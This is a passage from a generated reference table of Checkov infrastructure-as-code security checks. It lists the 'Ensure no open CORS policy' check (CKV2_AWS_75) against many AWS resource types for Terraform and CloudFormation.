[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5203 | CKV2_AWS_75              | resource                         | aws_storagegateway_file_system_association                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5204 | CKV2_AWS_75              | resource                         | aws_storagegateway_file_system_association                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5205 | CKV2_AWS_75              | resource                         | aws_storagegateway_gateway                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5206 | CKV2_AWS_75              | resource                         | aws_storagegateway_gateway                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5207 | CKV2_AWS_75              | resource                         | aws_storagegateway_nfs_file_share                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5208 | CKV2_AWS_75              | resource                         | aws_storagegateway_nfs_file_share                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5209 | CKV2_AWS_75              | resource                         | aws_storagegateway_smb_file_share                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5210 | CKV2_AWS_75              | resource                         | aws_storagegateway_smb_file_share                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5211 | CKV2_AWS_75              | resource                         | aws_storagegateway_stored_iscsi_volume                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5212 | CKV2_AWS_75              | resource                         | aws_storagegateway_stored_iscsi_volume                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5213 | CKV2_AWS_75              | resource                         | aws_storagegateway_tape_pool                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5214 | CKV2_AWS_75              | resource                         | aws_storagegateway_tape_pool                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5215 | CKV2_AWS_75              | resource                         | aws_storagegateway_upload_buffer                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5216 | CKV2_AWS_75              | resource                         | aws_storagegateway_upload_buffer                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5217 | CKV2_AWS_75              | resource                         | aws_storagegateway_working_storage                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5218 | CKV2_AWS_75              | resource                         | aws_storagegateway_working_storage                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5219 | CKV2_AWS_75              | resource                         | aws_subnet                                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5220 | CKV2_AWS_75              | resource                         | aws_subnet                                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5221 | CKV2_AWS_75              | resource                         | aws_swf_domain                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5222 | CKV2_AWS_75              | resource                         | aws_swf_domain                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5223 | CKV2_AWS_75              | resource                         | aws_synthetics_canary                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5224 | CKV2_AWS_75              | resource                         | aws_synthetics_canary                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5225 | CKV2_AWS_75              | resource                         | aws_synthetics_group                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5226 | CKV2_AWS_75              | resource                         | aws_synthetics_group                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5227 | CKV2_AWS_75              | resource                         | aws_synthetics_group_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5228 | CKV2_AWS_75              | resource                         | aws_synthetics_group_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5229 | CKV2_AWS_75              | resource                         | aws_timestreaminfluxdb_db_instance                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5230 | CKV2_AWS_75              | resource                         | aws_timestreaminfluxdb_db_instance                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5231 | CKV2_AWS_75              | resource                         | aws_timestreamquery_scheduled_query                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5232 | CKV2_AWS_75              | resource                         | aws_timestreamquery_scheduled_query                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5233 | CKV2_AWS_75              | resource                         | aws_timestreamwrite_database                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5234 | CKV2_AWS_75              | resource                         | aws_timestreamwrite_database                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5235 | CKV2_AWS_75              | resource                         | aws_timestreamwrite_table                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5236 | CKV2_AWS_75              | resource                         | aws_timestreamwrite_table                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5237 | CKV2_AWS_75              | resource                         | aws_transcribe_language_model                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5238 | CKV2_AWS_75              | resource                         | aws_transcribe_language_model                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5239 | CKV2_AWS_75              | resource                         | aws_transcribe_medical_vocabulary                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5240 | CKV2_AWS_75              | resource                         | aws_transcribe_medical_vocabulary                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5241 | CKV2_AWS_75              | resource                         | aws_transcribe_vocabulary                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5242 | CKV2_AWS_75              | resource                         | aws_transcribe_vocabulary                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5243 | CKV2_AWS_75              | resource                         | aws_transcribe_vocabulary_filter                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5244 | CKV2_AWS_75              | resource                         | aws_transcribe_vocabulary_filter                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5245 | CKV2_AWS_75              | resource                         | aws_transfer_access                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5246 | CKV2_AWS_75              | resource                         | aws_transfer_access                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5247 | CKV2_AWS_75              | resource                         | aws_transfer_agreement                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5248 | CKV2_AWS_75              | resource                         | aws_transfer_agreement                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5249 | CKV2_AWS_75              | resource                         | aws_transfer_certificate                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5250 | CKV2_AWS_75              | resource                         | aws_transfer_certificate                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5251 | CKV2_AWS_75              | resource                         | aws_transfer_connector                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5252 | CKV2_AWS_75              | resource                         | aws_transfer_connector                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5253 | CKV2_AWS_75              | resource                         | aws_transfer_profile                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5254 | CKV2_AWS_75              | resource                         | aws_transfer_profile                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5255 | CKV2_AWS_75              | resource                         | aws_transfer_server                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5256 | CKV2_AWS_75              | resource                         | aws_transfer_server                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5257 | CKV2_AWS_75              | resource                         | aws_transfer_ssh_key                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5258 | CKV2_AWS_75              | resource                         | aws_transfer_ssh_key                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5259 | CKV2_AWS_75              | resource                         | aws_transfer_tag                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5260 | CKV2_AWS_75              | resource                         | aws_transfer_tag                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5261 | CKV2_AWS_75              | resource                         | aws_transfer_user                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5262 | CKV2_AWS_75              | resource                         | aws_transfer_user                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5263 | CKV2_AWS_75              | resource                         | aws_transfer_workflow                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5264 | CKV2_AWS_75              | resource                         | aws_transfer_workflow                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5265 | CKV2_AWS_75              | resource                         | aws_verifiedaccess_endpoint                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5266 | CKV2_AWS_75              | resource                         | aws_verifiedaccess_endpoint                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5267 | CKV2_AWS_75              | resource                         | aws_verifiedaccess_group                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5268 | CKV2_AWS_75              | resource                         | aws_verifiedaccess_group                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5269 | CKV2_AWS_75              | resource                         | aws_verifiedaccess_instance                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5270 | CKV2_AWS_75              | resource                         | aws_verifiedaccess_instance                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5271 | CKV2_AWS_75              | resource                         | aws_verifiedaccess_instance_logging_configuration                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5272 | CKV2_AWS_75              | resource                         | aws_verifiedaccess_instance_logging_configuration                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5273 | CKV2_AWS_75              | resource                         | aws_verifiedaccess_instance_trust_provider_attachment                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5274 | CKV2_AWS_75              | resource                         | aws_verifiedaccess_instance_trust_provider_attachment                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5275 | CKV2_AWS_75              | resource                         | aws_verifiedaccess_trust_provider                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5276 | CKV2_AWS_75              | resource                         | aws_verifiedaccess_trust_provider                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5277 | CKV2_AWS_75              | resource                         | aws_verifiedpermissions_identity_source                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5278 | CKV2_AWS_75              | resource                         | aws_verifiedpermissions_identity_source                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5279 | CKV2_AWS_75              | resource                         | aws_verifiedpermissions_policy                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5280 | CKV2_AWS_75              | resource                         | aws_verifiedpermissions_policy                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5281 | CKV2_AWS_75              | resource                         | aws_verifiedpermissions_policy_store                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5282 | CKV2_AWS_75              | resource                         | aws_verifiedpermissions_policy_store                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5283 | CKV2_AWS_75              | resource                         | aws_verifiedpermissions_policy_template                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5284 | CKV2_AWS_75              | resource                         | aws_verifiedpermissions_policy_template                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5285 | CKV2_AWS_75              | resource                         | aws_verifiedpermissions_schema                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5286 | CKV2_AWS_75              | resource                         | aws_verifiedpermissions_schema                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5287 | CKV2_AWS_75              | resource                         | aws_volume_attachment                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5288 | CKV2_AWS_75              | resource                         | aws_volume_attachment                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5289 | CKV2_AWS_75              | resource                         | aws_vpc                                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5290 | CKV2_AWS_75              | resource                         | aws_vpc                                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5291 | CKV2_AWS_75              | resource                         | aws_vpc_block_public_access_exclusion                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5292 | CKV2_AWS_75              | resource                         | aws_vpc_block_public_access_exclusion                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5293 | CKV2_AWS_75              | resource                         | aws_vpc_block_public_access_options                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5294 | CKV2_AWS_75              | resource                         | aws_vpc_block_public_access_options                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5295 | CKV2_AWS_75              | resource                         | aws_vpc_dhcp_options                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | 